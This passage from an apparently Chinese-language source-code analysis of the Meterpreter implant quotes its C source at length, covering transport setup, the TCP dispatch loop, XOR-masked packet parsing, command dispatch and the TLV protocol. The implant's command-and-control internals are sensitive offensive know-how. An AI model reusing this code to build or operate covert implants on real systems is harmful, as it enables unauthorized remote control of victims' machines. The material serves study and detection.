dprintf("[LOADLIB] here 10");
if (response)
{
packet_transmit_response(res, remote, response);
}
dprintf("[LOADLIB] here 11");
return res;
}
四、Windows Native C meterpreter
在经过meterpreter_loader执行后,metsrv模块已经被内存加载,并且控制权正式转移到了metsrv模块,开始执行DllMain。
-
metsrv功能分析
该模块是主要的功能模块,主要实现以下功能:
- 提供基础的api -> metapi
- 提供基础命令
- 建立与控制端的链接(tcp、http、https)
- 插件加载和命令派发
1) metapi
typedef struct _MetApi
{
PacketApi packet;
CommandApi command;
ThreadApi thread;
LockApi lock;
EventApi event;
ChannelApi channel;
SchedulerApi scheduler;
StringApi string;
InjectApi inject;
DesktopApi desktop;
ListApi list;
#ifdef DEBUGTRACE
LoggingApi logging;
#endif
} MetApi;
提供一系列api给自身和插件使用,包括:
PacketApi
|
负责数据包的发送、接收、解析、加密
|
CommandApi
|
负责命令的注册、处理
|
ThreadApi
|
提供统一的线程操作
|
EventApi
|
提供统一的操作
|
ChannelApi
|
负责channel的管理
|
SchedulerApi
|
负责任务的管理和调度
|
StringApi
|
字符串,主要是UTF8 和 wchar的转换
|
InjectApi
|
注入相关的api
|
DesktopApi
|
在做桌面相关操作时提供更新桌面方法
|
ListApi
|
一个链表实现
|
LoggingApi
|
日志
|
每个插件在初始化时都会将metapi指针传入以供插件使用。
DWORD InitServerExtension(MetApi* api, Remote* remote)
2) 基础命令
metasploit-payloads\c\meterpreter\source\metsrv\server_setup.c
//一些基础指令包括模块加载、获取机器码、获取sessionguid等...
Command customCommands[] =
{
COMMAND_REQ(COMMAND_ID_CORE_LOADLIB, request_core_loadlib),
COMMAND_REQ(COMMAND_ID_CORE_ENUMEXTCMD, request_core_enumextcmd),
COMMAND_REQ(COMMAND_ID_CORE_MACHINE_ID, request_core_machine_id),
COMMAND_REQ(COMMAND_ID_CORE_GET_SESSION_GUID, request_core_get_session_guid),
COMMAND_REQ(COMMAND_ID_CORE_SET_SESSION_GUID, request_core_set_session_guid),
COMMAND_REQ(COMMAND_ID_CORE_SET_UUID, request_core_set_uuid),
COMMAND_REQ(COMMAND_ID_CORE_PIVOT_ADD, request_core_pivot_add),
COMMAND_REQ(COMMAND_ID_CORE_PIVOT_REMOVE, request_core_pivot_remove),
COMMAND_INLINE_REP(COMMAND_ID_CORE_PATCH_URL, request_core_patch_url),
COMMAND_TERMINATOR
};
// 一些channel操作相关指令、tansport相关指令、Migration
Command baseCommands[] =
{
// Console commands
{ COMMAND_ID_CORE_CONSOLE_WRITE,
{ remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
{ remote_response_core_console_write, NULL, EMPTY_TLV },
},
// Native Channel commands
// this overloads the COMMAND_ID_CORE_CHANNEL_OPEN in the base command list
COMMAND_REQ_REP(COMMAND_ID_CORE_CHANNEL_OPEN, remote_request_core_channel_open, remote_response_core_channel_open),
COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_WRITE, remote_request_core_channel_write),
COMMAND_REQ_REP(COMMAND_ID_CORE_CHANNEL_CLOSE, remote_request_core_channel_close, remote_response_core_channel_close),
// Buffered/Pool channel commands
COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_READ, remote_request_core_channel_read),
// Pool channel commands
COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_SEEK, remote_request_core_channel_seek),
COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_EOF, remote_request_core_channel_eof),
COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_TELL, remote_request_core_channel_tell),
// Soon to be deprecated
COMMAND_REQ(COMMAND_ID_CORE_CHANNEL_INTERACT, remote_request_core_channel_interact),
// Packet Encryption
COMMAND_REQ(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION, request_negotiate_aes_key),
// timeouts
COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS, remote_request_core_transport_set_timeouts),
COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH, remote_request_core_transport_getcerthash),
COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH, remote_request_core_transport_setcerthash),
COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_LIST, remote_request_core_transport_list),
COMMAND_INLINE_REQ(COMMAND_ID_CORE_TRANSPORT_SLEEP, remote_request_core_transport_sleep),
COMMAND_INLINE_REQ(COMMAND_ID_CORE_TRANSPORT_CHANGE, remote_request_core_transport_change),
COMMAND_INLINE_REQ(COMMAND_ID_CORE_TRANSPORT_NEXT, remote_request_core_transport_next),
COMMAND_INLINE_REQ(COMMAND_ID_CORE_TRANSPORT_PREV, remote_request_core_transport_prev),
COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_ADD, remote_request_core_transport_add),
COMMAND_REQ(COMMAND_ID_CORE_TRANSPORT_REMOVE, remote_request_core_transport_remove),
// Migration
COMMAND_INLINE_REQ(COMMAND_ID_CORE_MIGRATE, remote_request_core_migrate),
// Shutdown
COMMAND_INLINE_REQ(COMMAND_ID_CORE_SHUTDOWN, remote_request_core_shutdown),
// Terminator
COMMAND_TERMINATOR
};
......
VOID register_dispatch_routines()
{
gExtensionList = list_create();
Command* pFirstCommand = register_base_dispatch_routines();
command_register_all(customCommands);
PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION));
if (pExtension) {
memset(pExtension, 0, sizeof(EXTENSION));
pExtension->deinit = deinit_server_extension;
pExtension->end = pFirstCommand;
pExtension->start = extensionCommands;
list_push(gExtensionList, pExtension);
dprintf("[CORE] Registered the core pseudo extension %p", pExtension);
}
}
Command* register_base_dispatch_routines(void)
{
Command* pFirstCommand = NULL;
command_register_all(baseCommands);
pFirstCommand = extensionCommands;
while (pFirstCommand && pFirstCommand->command_id != baseCommands[0].command_id) {
pFirstCommand = pFirstCommand->next;
}
return pFirstCommand;
}
首先需要注册一系列的基础指令,以确保基本的功能。
3)Transport建立
- 第一步是根据配置文件来创建所有的tansport,根据不同的类型来创建不同的transport(tcp、http、pipe)
static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize)
{
DWORD totalSize = 0;
MetsrvTransportCommon* current = transports;
// The first part of the transport is always the URL, if it's NULL, we are done.
while (current->url[0] != 0)
{
DWORD size;
if (create_transport(remote, current, &size) != NULL)
{
dprintf("[TRANS] transport created of size %u", size);
totalSize += size;
// go to the next transport based on the size of the existing one.
current = (MetsrvTransportCommon*)((LPBYTE)current + size);
}
else
{
// This is not good
return FALSE;
}
}
// account for the last terminating NULL wchar
*parsedSize = totalSize + sizeof(wchar_t);
return TRUE;
}
static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size)
{
Transport* transport = NULL;
dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url);
dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout);
dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total);
dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait);
if (wcsncmp(transportCommon->url, L"tcp", 3) == 0)
{
transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size);
}
else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0)
{
transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size);
}
else
{
transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size);
}
if (transport == NULL)
{
// something went wrong
return NULL;
}
// always insert at the tail. The first transport will be the one that kicked everything off
if (remote->transport == NULL)
{
// point to itself, as this is the first transport.
transport->next_transport = transport->prev_transport = transport;
remote->transport = transport;
}
else
{
transport->prev_transport = remote->transport->prev_transport;
transport->next_transport = remote->transport;
remote->transport->prev_transport->next_transport = transport;
remote->transport->prev_transport = transport;
}
return transport;
}
不同类型的transport有不同的实现
server_transport_tcp.h
server_transport_named_pipe.h
server_transport_winhttp.h
server_transport_wininet.h
以
server_transport_tcp.h
为例:/*!
* @brief Creates a new TCP transport instance.
* @param config The TCP configuration block.
* @param size Pointer to the size of the parsed config block.
* @return Pointer to the newly configured/created TCP transport instance.
*/
Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size)
{
Transport* transport = (Transport*)malloc(sizeof(Transport));
TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext));
if (size)
{
*size = sizeof(MetsrvTransportTcp);
}
dprintf("[TRANS TCP] Creating tcp transport for url %S", config->common.url);
memset(transport, 0, sizeof(Transport));
memset(ctx, 0, sizeof(TcpTransportContext));
transport->type = METERPRETER_TRANSPORT_TCP;
//配置中的参数
transport->timeouts.comms = config->common.comms_timeout;
transport->timeouts.retry_total = config->common.retry_total;
transport->timeouts.retry_wait = config->common.retry_wait;
transport->url = _wcsdup(config->common.url);
//各种init、destory、transmit等方法的函数
//只要提供对应的实现,不同的transport调用都相同,类似于基类
transport->packet_transmit = packet_transmit_tcp;
transport->transport_init = configure_tcp_connection;
transport->transport_destroy = transport_destroy_tcp;
transport->transport_reset = transport_reset_tcp;
transport->server_dispatch = server_dispatch_tcp;
transport->get_handle = transport_get_handle_tcp;
transport->set_handle = transport_set_handle_tcp;
transport->ctx = ctx;
transport->comms_last_packet = current_unix_timestamp();
transport->get_migrate_context = get_migrate_context_tcp;
transport->get_config_size = transport_get_config_size_tcp;
return transport;
}
3) 建立连接
/*!
* @brief Setup and run the server. This is called from Init via the loader.
* @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
* @return Meterpreter exit code (ignored by the caller).
*/
DWORD server_setup(MetsrvConfig* config)
{
THREAD* serverThread = NULL;
Remote* remote = NULL;
char stationName[256] = { 0 };
char desktopName[256] = { 0 };
DWORD res = 0;
......
srand((unsigned int)time(NULL));
__try
{
do
{
// Open a THREAD item for the servers main thread, we use this to manage migration later.
// server线程,主要的派发线程
serverThread = thread_open();
......
DWORD transportSize = 0;
// 创建所有的transports
if (!create_transports(remote, config->transports, &transportSize))
{
// not good, bail out!
SetLastError(ERROR_BAD_ARGUMENTS);
break;
}
dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
// 如果是TCP的话这里就会将之前存在config中的socket给transport,实现了对socket的复用
if (remote->transport->set_handle)
{
remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
}
// Set up the transport creation function pointer
remote->trans_create = create_transport;
// Set up the transport removal function pointer
remote->trans_remove = remove_transport;
// and the config creation pointer
remote->config_create = config_create;
// Store our thread handle
remote->server_thread = serverThread->handle;
......
while (remote->transport)
{
if (remote->transport->transport_init)
{
dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
// Each transport has its own set of retry settings and each should honour
// them individually.
// transport初始化
if (remote->transport->transport_init(remote->transport) != ERROR_SUCCESS)
{
dprintf("[SERVER] transport initialisation failed, moving to the next transport");
remote->transport = remote->transport->next_transport;
// when we have a list of transports, we'll iterate to the next one.
continue;
}
}
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
//主要的服务线程
DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);
dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult);
if (remote->transport->transport_deinit)
{
dprintf("[DISPATCH] deinitialising transport");
remote->transport->transport_deinit(remote->transport);
}
dprintf("[TRANS] resetting transport");
if (remote->transport->transport_reset)
{
remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL);
}
// If the transport mechanism failed, then we should loop until we're able to connect back again.
if (dispatchResult == ERROR_SUCCESS)
{
dprintf("[DISPATCH] Server requested shutdown of dispatch");
// But if it was successful, and this is a valid exit, then we should clean up and leave.
if (remote->next_transport == NULL)
{
dprintf("[DISPATCH] No next transport specified, leaving");
// we weren't asked to switch transports, so we exit.
break;
}
// we need to change transports to the one we've been given. We will assume, for now,
// that the transport has been created using the appropriate functions and that it is
// part of the transport list.
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport);
remote->transport = remote->next_transport;
remote->next_transport = NULL;
}
else
{
// move to the next one in the list
// 转到下一个transport
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport);
remote->transport = remote->transport->next_transport;
}
// transport switching and failover both need to support the waiting functionality.
if (remote->next_transport_wait > 0)
{
dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);
sleep(remote->next_transport_wait);
// the wait is a once-off thing, needs to be reset each time
remote->next_transport_wait = 0;
}
// if we had an encryption context we should clear it up.
free_encryption_context(remote);
}
// clean up the transports
while (remote->transport)
{
remove_transport(remote, remote->transport);
}
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(remote);
} while (0);
......
dprintf("[SERVER] Finished.");
return res;
}
tcp服务处理线程
metasploit-payloads\c\meterpreter\source\metsrv\server_transport_tcp.c
/*!
* @brief The servers main dispatch loop for incoming requests using TCP
* @param remote Pointer to the remote endpoint for this server connection.
* @param dispatchThread Pointer to the main dispatch thread.
* @returns Indication of success or failure.
*/
static DWORD server_dispatch_tcp(Remote* remote, THREAD* dispatchThread)
{
Transport* transport = remote->transport;
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote);
int lastPacket = current_unix_timestamp();
while (running)
{
if (event_poll(dispatchThread->sigterm, 0))
{
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break;
}
result = server_socket_poll(remote, 50000);
if (result > 0)
{
//接收packet
result = packet_receive(remote, &packet);
if (result != ERROR_SUCCESS)
{
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
break;
}
if (packet == NULL)
{
dprintf("[DISPATCH] No packet received, probably just metsrv being ignored or a pivot packet being handled.");
}
else
{
//命令分发
running = command_handle(remote, packet);
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
}
// packet received, reset the timer
lastPacket = current_unix_timestamp();
}
else if (result == 0)
{
// check if the communication has timed out, or the session has expired, so we should terminate the session
int now = current_unix_timestamp();
if (remote->sess_expiry_end && now > remote->sess_expiry_end)
{
result = ERROR_SUCCESS;
dprintf("[DISPATCH] session has ended");
break;
}
else if ((now - lastPacket) > transport->timeouts.comms)
{
result = ERROR_NETWORK_NOT_AVAILABLE;
dprintf("[DISPATCH] communications has timed out");
break;
}
}
else
{
dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result);
break;
}
}
dprintf("[DISPATCH] leaving server_dispatch.");
return result;
}
packet的接收
这里分成了两种情况,接收metsrv和普通packet,做了通用处理,通过判断xor_key的高位是否为零来区分。
typedef struct
{
BYTE xor_key[4]; //xor加密密钥
BYTE session_guid[sizeof(GUID)];
DWORD enc_flags;
DWORD length;
DWORD type;
} PacketHeader;
typedef struct
{
DWORD length;
DWORD type;
} TlvHeader;
/*!
* @brief Receive a new packet on the given remote endpoint.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to a pointer that will receive the \c Packet data.
* @return An indication of the result of processing the transmission request.
*/
static DWORD packet_receive(Remote *remote, Packet **packet)
{
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
Packet *localPacket = NULL;
PacketHeader header = { 0 };
int bytesRead;
BOOL inHeader = TRUE;
PUCHAR packetBuffer = NULL;
ULONG payloadLength;
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
lock_acquire(remote->lock);
dprintf("[TCP PACKET RECEIVE] reading in the header");
// Read the packet length
while (inHeader)
{
//获取packet的头
if ((bytesRead = recv(ctx->fd, ((PCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0)
{
SetLastError(ERROR_NOT_FOUND);
goto out;
}
headerBytes += bytesRead;
if (headerBytes != sizeof(PacketHeader))
{
continue;
}
inHeader = FALSE;
}
if (headerBytes != sizeof(PacketHeader))
{
dprintf("[TCP] we didn't get enough header bytes");
goto out;
}
dprintf("[TCP] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]);
#ifdef DEBUGTRACE
PUCHAR h = (PUCHAR)&header;
vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
// At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data
// from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following:
// XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it
// isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big).
// 判断xor_key是否存在xor_key,xor_key是4字节非空,那此时代表的是文件长度即metsrv长度
// 由于共用了同一个函数,所以这样处理,读取的可能是TLV Packet也可能是重连后的发送的stage
if (header.xor_key[3] == 0)
{
// looks like we have a metsrv instance, time to ignore it.
int length = *(int*)&header.xor_key[0];
dprintf("[TCP] discovered a length header, assuming it's metsrv of length %d", length);
int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD);
char buffer[65535];
while (bytesToRead > 0)
{
int bytesRead = recv(ctx->fd, buffer, min(sizeof(buffer), bytesToRead), 0);
if (bytesRead < 0)
{
if (GetLastError() == WSAEWOULDBLOCK)
{
continue;
}
SetLastError(ERROR_NOT_FOUND);
break;
}
bytesToRead -= bytesRead;
}
// did something go wrong.
if (bytesToRead > 0)
{
goto out;
}
// indicate success, but don't return a packet for processing
SetLastError(ERROR_SUCCESS);
*packet = NULL;
}
else
{
vdprintf("[TCP] XOR key looks fine, moving on");
PacketHeader encodedHeader;
memcpy(&encodedHeader, &header, sizeof(PacketHeader));
// xor the header data
// 解密header数据
xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key));
#ifdef DEBUGTRACE
PUCHAR h = (PUCHAR)&header;
vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
vdprintf("[TCP] Payload length is %d", payloadLength);
DWORD packetSize = sizeof(PacketHeader) + payloadLength;
vdprintf("[TCP] total buffer size for the packet is %d", packetSize);
payloadBytesLeft = payloadLength;
// Allocate the payload
if (!(packetBuffer = (PUCHAR)malloc(packetSize)))
{
dprintf("[TCP] Failed to create the packet buffer");
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
goto out;
}
dprintf("[TCP] Allocated packet buffer at %p", packetBuffer);
// Copy the packet header stuff over to the packet
memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader));
LPBYTE payload = packetBuffer + sizeof(PacketHeader);
// Read the payload
// 接收剩余的数据
while (payloadBytesLeft > 0)
{
if ((bytesRead = recv(ctx->fd, (PCHAR)(payload + payloadLength - payloadBytesLeft), payloadBytesLeft, 0)) <= 0)
{
if (GetLastError() == WSAEWOULDBLOCK)
{
continue;
}
if (bytesRead < 0)
{
SetLastError(ERROR_NOT_FOUND);
}
goto out;
}
payloadBytesLeft -= bytesRead;
}
// Didn't finish?
if (payloadBytesLeft)
{
dprintf("[TCP] Failed to get all the payload bytes");
goto out;
}
#ifdef DEBUGTRACE
h = (PUCHAR)&header.session_guid[0];
dprintf("[TCP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
#endif
if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0)
{
dprintf("[TCP] Session GUIDs match (or packet guid is null), decrypting packet");
// 解密packet
SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize));
}
else
{
dprintf("[TCP] Session GUIDs don't match, looking for a pivot");
PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid);
if (pivotCtx != NULL)
{
dprintf("[TCP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)");
SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize));
// mark this packet buffer as NULL as the thread will clean it up
packetBuffer = NULL;
*packet = NULL;
}
else
{
dprintf("[TCP] Session GUIDs don't match, can't find pivot!");
}
}
}
out:
res = GetLastError();
dprintf("[TCP] Freeing stuff up");
SAFE_FREE(packetBuffer);
// Cleanup on failure
if (res != ERROR_SUCCESS)
{
SAFE_FREE(localPacket);
}
lock_release(remote->lock);
dprintf("[TCP] Packet receive finished");
return res;
}
4) 命令派发
packet接收后根据命令的TLV_TYPE_COMMAND_ID进行派发,由各插件注册过的处理过程进行处理
这里派发分两种
一种叫inline是直接在服务主线程处理,这种主要是transport切换、休眠,或者做migrate或者结束时使用。
另一种是非inline的普通命令,大部分插件的命令属于这种,是通过另开一个线程去处理,保证服务线程的稳定
/*!
* @brief Handle an incoming command.
* @param remote Pointer to the \c Remote instance associated with this command.
* @param packet Pointer to the \c Packet containing the command data.
* @retval TRUE The server can and should continue processing.
* @retval FALSE The server should stop processing and shut down.
* @remark This function was incorporate to help support two things in meterpreter:
* -# A way of allowing a command to be processed directly on the main server
* thread and not on another thread (which in some cases can cause problems).
* -# A cleaner way of shutting down the server so that container processes
* can shutdown cleanly themselves, where appropriate.
*
* This function will look at the command definition and determine if it should
* be executed inline or on a new command thread.
* @sa command_process_inline
* @sa command_process_thread
*/
BOOL command_handle(Remote *remote, Packet *packet)
{
BOOL result = TRUE;
THREAD* cpt = NULL;
Command* command = NULL;
Packet* response = NULL;
UINT commandId = packet_get_tlv_value_uint(packet, TLV_TYPE_COMMAND_ID);
do
{
if (commandId == 0)
{
dprintf("[COMMAND] Unable to extract commandId from packet.");
break;
}
command = command_locate_extension(commandId);
if (command == NULL)
{
dprintf("[DISPATCH] Command not found: %u", commandId);
// We have no matching command for this packet, so it won't get handled. We
// need to send an empty response and clean up here before exiting out.
response = packet_create_response(packet);
if (packet->local)
{
packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_NOT_SUPPORTED);
}
else
{
packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response);
packet_destroy(packet);
}
break;
}
// if either command is registered as inline, run them inline
if ((command && command_is_inline(command, packet))
|| packet->local)
{
// 派发inline命令
dprintf("[DISPATCH] Executing inline: %u", commandId);
result = command_process_inline(command, remote, packet);
dprintf("[DISPATCH] Executed inline: result %u (%x)", result, result);
}
else
{
dprintf("[DISPATCH] Executing in thread: %u", commandId);
// 非inline命令另开线程处理
cpt = thread_create(command_process_thread, remote, packet, command);
if (cpt)
{
dprintf("[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle);
thread_run(cpt);
}
}
} while (0);
return result;
}
不管inline或者不是inline最终处理都在command_process_inline中,只是执行线程的区别,command_process_inline代码如下:
/*!
* @brief Process a command directly on the current thread.
* @param command Pointer to the \c Command in the extension command list to be executed.
* @param remote Pointer to the \c Remote endpoint for this command.
* @param packet Pointer to the \c Packet containing the command detail.
* @returns Boolean value indicating if the server should continue processing.
* @retval TRUE The server can and should continue processing.
* @retval FALSE The server should stop processing and shut down.
* @sa command_handle
* @sa command_process_thread
* @remarks The \c baseCommand is always executed first, but if there is an \c extensionCommand
* then the result of the \c baseCommand processing is ignored and the result of
* \c extensionCommand is returned instead.
*/
BOOL command_process_inline(Command *command, Remote *remote, Packet *packet)
{
DWORD result;
BOOL serverContinue = TRUE;
Tlv requestIdTlv;
PCHAR requestId;
PacketTlvType packetTlvType;
UINT commandId = 0;
__try
{
do
{
commandId = command->command_id;
dprintf("[COMMAND] Executing command %u", commandId);
// Impersonate the thread token if needed (only on Windows)
if (remote->server_token != remote->thread_token)
{
if (!ImpersonateLoggedOnUser(remote->thread_token))
{
dprintf("[COMMAND] Failed to impersonate thread token (%u) (%u)", commandId, GetLastError());
}
}
// Validate the arguments, if requested. Always make sure argument
// lengths are sane.
if (command_validate_arguments(command, packet) != ERROR_SUCCESS)
{
dprintf("[COMMAND] Command arguments failed to validate");
continue;
}
packetTlvType = packet_get_type(packet);
dprintf("[DISPATCH] Packet type for %u is %u", commandId, packetTlvType);
//根据包Tlv类型来调用不同的处理过程
//每个command都是插件或metsrv注册的,其中有命令处理的handler
//前面有关于如何注册命令的代码,可对照参看
switch (packetTlvType)
{
case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.inline_handler) {
dprintf("[DISPATCH] executing inline request handler %u", commandId);
serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue;
dprintf("[DISPATCH] executed %u, continue %s", commandId, serverContinue ? "yes" : "no");
}
else
{
dprintf("[DISPATCH] executing request handler %u", commandId);
result = command->request.handler(remote, packet);
}
break;
case PACKET_TLV_TYPE_RESPONSE:
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.inline_handler)
{
dprintf("[DISPATCH] executing inline response handler %u", commandId);
serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue;
}
else
{
dprintf("[DISPATCH] executing response handler %u", commandId);
result = command->response.handler(remote, packet);
}
break;
}
dprintf("[COMMAND] Calling completion handlers...");
// Get the request identifier if the packet has one.
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestIdTlv) == ERROR_SUCCESS)
{
requestId = (PCHAR)requestIdTlv.buffer;
}
// Finally, call completion routines for the provided identifier
if (((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
{
packet_call_completion_handlers(remote, packet, requestId);
}
dprintf("[COMMAND] Completion handlers finished for %u.", commandId);
} while (0);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
dprintf("[COMMAND] Exception hit in command %u", commandId);
}
if (!packet->local)
{
dprintf("[COMMAND] Packet is not local, destroying");
packet_destroy(packet);
dprintf("[COMMAND] Packet destroyed");
}
dprintf("[COMMAND] Command processing finishing. Returning: %s", (serverContinue ? "TRUE" : "FALSE"));
return serverContinue;
}
5) TLV
TLV(Type-Length-Value)是meterpreter提供的数据序列化方法,它的格式如下:
typedef struct
{
DWORD length;
DWORD type;
} TlvHeader;
typedef struct
{
TlvHeader header;
PUCHAR buffer;
} Tlv;
length(32位,网络字节顺序):长度字段指数据的长度包括tlv头
type(32位,网络字节顺序):类型字段存储用于指示值格式的任意数据类型。
value(0到n位):值字段存储与类型字段中指定格式相对应的任意数据。
这种简单的数据结构使得Meterpreter能够实现一个强大的协议。每个数据包由一个包含TLV的大型数据结构组成,该TLV可能包含TLV作为其值字段的一部分,也可能不包含。通过嵌套TLV,Meterpreter能够传递通常需要作为逻辑有效负载的一部分作为标头传输的信息。
一个packet如下:
+--------------+
| PacketHeader | ----------------------> +--------------+
+--------------+ | xor_key | -----> 头xor加密的key
| payload | +--------------+
+--------------+ | session_guid | -----> session guid
|payloadLength | +--------------+
+--------------+ | enc_flags | -----> 加密标记,目前只有一种AES256
| | +--------------+
| decompressed | ----> List | length | -----> 包的长度,从此处开始和TLV头是相同的
| buffers | +--------------+
+--------------+ | type | -----> 类型
| local | +--------------+
+--------------+
| partner | ----> 相关的包
+--------------+
payload
+--------------+
| TLV1 | -----> 一般TLV
+--------------+
| TLV2 |
| +----------+ | -----> 带嵌套的TLV
| | TLV2.1 | |
| +----------+ |
+--------------+
| <- 4 bytes ->|
例如前文提到的模块加载request_core_loadlib它的包就是这样的,meterpreter在接收到包后会根据command_id进行派发,最终交给request_core_loadlib,此函数在获取LIBRARY_PATH、FLAGS、DATA或TAGET_PATH等信息后进行模块加载。
+--------------+
| PacketHeader |
+--------------+
| TLV1 |
| COMMAND_ID |
+--------------+
| TLV2 |
| LIBRARY_PATH |
+--------------+
| TLV3 |
| FLAGS |
+--------------+ or +--------------+
| TLV4 | -------> | TLV3 |
| DATA | | TAGET_PATH |
+--------------+ +--------------+
|payloadLength |
+--------------+
| |
| decompressed |
| buffers |
+--------------+
| local |
+--------------+
| partner |
+--------------+
| <- 4 bytes ->|
6) 协议加密
前文提到Packet数据是有经过异或加密的,后面的payload数据是否使用更复杂的加密需要看标志位enc_flags,如果这个为设为1则此包payload为ENC_FLAG_AES256加密。
AES256加密需要先协商一个key,控制端会向被控端发送命令请求协商AES_KEY
metasploit-framework/lib/rex/post/meterpreter/client_core.rb
#
# Negotiates the use of encryption at the TLV level
#
def negotiate_tlv_encryption(timeout: client.comm_timeout)
sym_key = nil
#RSA生成一个公钥
rsa_key = OpenSSL::PKey::RSA.new(2048)
